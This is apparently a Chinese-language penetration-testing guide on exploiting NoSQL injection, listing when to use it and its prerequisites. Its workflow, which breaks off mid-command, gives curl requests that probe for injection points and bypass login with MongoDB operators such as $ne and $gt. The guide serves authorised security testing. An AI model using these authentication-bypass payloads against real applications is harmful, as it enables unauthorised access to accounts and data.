利用 NoSQL 注入漏洞
使用时机
- 在使用 NoSQL 数据库的应用程序进行 Web 应用渗透测试期间
- 在测试由 MongoDB 或类似数据库支持的身份认证机制时
- 在评估接受 JSON 输入进行数据库查询的 API 时
- 在对具有 NoSQL 后端的应用程序进行漏洞悬赏挖掘时
- 在对数据库查询构造进行安全代码审查时
先决条件
- 安装支持 JSON 的 Burp Suite Professional 或 Community Edition
- 已安装 NoSQLMap 工具(
pip install nosqlmap 或从 GitHub 安装)
- 了解 MongoDB 查询操作符($ne、$gt、$regex、$where、$exists)
- 目标应用程序使用 NoSQL 数据库(MongoDB、CouchDB、Cassandra)
- 已配置代理用于拦截 HTTP 流量
- 用于编写自定义载荷脚本的 Python 3.x
工作流程
步骤 1 — 识别 NoSQL 注入点
# 寻找基于 JSON 的登录表单或 API 端点
# 常见指示:应用程序接受 JSON POST 请求体,使用 MongoDB
# 使用基本的破坏语法字符进行测试
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# 在查询参数中测试操作符注入
curl "http://target.com/api/users?username[$ne]=invalid"
# 检查基于错误的检测
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
步骤 2 — 执行身份认证绕过
# 使用 $ne 操作符的基本身份认证绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# 使用 $gt 操作符绕过
curl -X POST http://target.com/api/login \
-H "Content-Type: application…